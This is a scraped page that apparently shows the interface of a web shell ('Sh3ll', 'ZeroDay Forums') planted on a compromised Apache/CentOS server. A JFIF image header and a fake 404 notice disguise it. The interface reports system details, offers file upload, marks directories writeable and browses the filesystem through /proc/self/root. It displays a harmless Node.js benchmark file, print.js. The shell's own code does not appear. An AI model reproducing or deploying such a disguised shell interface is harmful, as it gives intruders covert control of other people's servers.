����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/benchmark/misc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/benchmark/misc/print.js
'use strict';
const common = require('../common.js');
const { spawn } = require('child_process');

const bench = common.createBenchmark(main, {
  dur: [1],
  code: ['1', '"string"', 'process.versions', 'process']
});

function spawnProcess(code) {
  const cmd = process.execPath || process.argv[0];
  const argv = ['-p', code];
  return spawn(cmd, argv);
}

function start(state, code, bench, getNode) {
  const node = getNode(code);
  let stdout = '';
  let stderr = '';

  node.stdout.on('data', (data) => {
    stdout += data;
  });

  node.stderr.on('data', (data) => {
    stderr += data;
  });

  node.on('exit', (code) => {
    if (code !== 0) {
      console.error('------ stdout ------');
      console.error(stdout);
      console.error('------ stderr ------');
      console.error(stderr);
      throw new Error(`Error during node startup, exit code ${code}`);
    }
    state.throughput++;

    if (state.go) {
      start(state, code, bench, getNode);
    } else {
      bench.end(state.throughput);
    }
  });
}

function main({ dur, code }) {
  const state = {
    go: true,
    throughput: 0
  };

  setTimeout(() => {
    state.go = false;
  }, dur * 1000);

  bench.start();
  start(state, code, bench, spawnProcess);
}

ZeroDay Forums Mini